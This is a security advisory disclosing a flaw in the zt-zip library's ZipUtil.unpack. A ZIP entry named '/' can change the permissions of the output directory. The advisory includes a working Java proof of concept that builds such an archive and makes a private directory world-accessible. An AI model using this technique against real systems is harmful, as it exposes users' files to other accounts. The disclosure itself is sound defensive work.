Vulnerability GHSA-v2g6-7r9j-v6px

Summary

When using one of the ZipUtil.unpack overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.

Details

When the name of a ZIP entry resolves to the output directory itself (e.g. the name /), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.

PoC

This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's ZTFilePermissionsUtil.fetchDefaultStrategy which uses a fallback in that case.

// Uses Apache Commons Compress to create the malicious ZIP file
// The issue itself is however in how zt-zip processes that ZIP file
import org.apache.commons.compress.archivers.zip.AsiExtraField;
import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;
import org.apache.commons.compress.archivers.zip.ZipExtraField;

import org.zeroturnaround.zip.ZipUtil;

import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Set;

public class ZtZipTest {
    public static void main(String[] args) throws Exception {
        Path zipPath = Path.of("permissions-change.zip");

        Path outputDir = Path.of("permissions-change");
        Files.deleteIfExists(outputDir);
        Files.createDirectory(outputDir);
        Files.setPosixFilePermissions(outputDir, Set.of());

        // outputs "[]"
        System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir));

        createZip(zipPath);

        ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());

        // outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]"
        System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir));
    }

    public static void createZip(Path path) throws Exception {
        try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {
            var entry = new ZipArchiveEntry("/");
            // Set 'allow all' permissions
            entry.setUnixMode(0b1_1111_1111);

            AsiExtraField extraField = new AsiExtraField();
            // Set 'allow all' permissions
            extraField.setMode(0b1_1111_1111);
            entry.setExtraFields(new ZipExtraField[] { extraField });
            zipStream.putArchiveEntry(entry);
            zipStream.closeArchiveEntry();
        }
    }
}

Impact

Affected are users who use ZipUtil.unpack to unpack an untrusted ZIP file.